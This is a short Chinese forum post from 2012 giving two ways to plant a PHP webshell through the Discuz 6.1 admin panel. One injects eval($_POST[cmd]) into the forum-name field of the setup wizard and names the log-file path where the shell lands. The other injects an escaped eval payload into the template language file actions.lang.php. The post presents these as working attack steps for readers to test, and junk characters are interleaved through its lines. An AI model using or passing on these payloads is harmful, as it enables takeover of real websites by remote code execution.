discuz6.1两种方法后台拿shell7 O% B" S! z( J! {+ {. P
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下; D& O9 t g* n2 L9 x
1:: ]" E6 k) R/ I! _6 E* r
http://127.0.0.1/discuz/admincp. ... zard&frames=yes; k5 |0 g6 X7 [8 u/ ]/ X; i, x
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
! T% {5 N) m/ h5 z<?php eval($_POST[cmd]);?>
6 h+ M; Q' Y% C1 \8 }, v( p后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php4 a7 \) |7 \& B2 D
6 P' { c- I5 L* P
* j3 r7 J F |9 I2:后台模板管理--默认模板套系--详情
- P, D/ ~+ r4 f( G6 ?7 y1 {! gtemplates/default/actions.lang.php' r0 |, H# b3 h5 i
jhackj\\');eval($_POST[cmd])?>;//; i; u# L9 l1 R7 P- }7 q- V
1 G6 t& c# g) f9 X
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对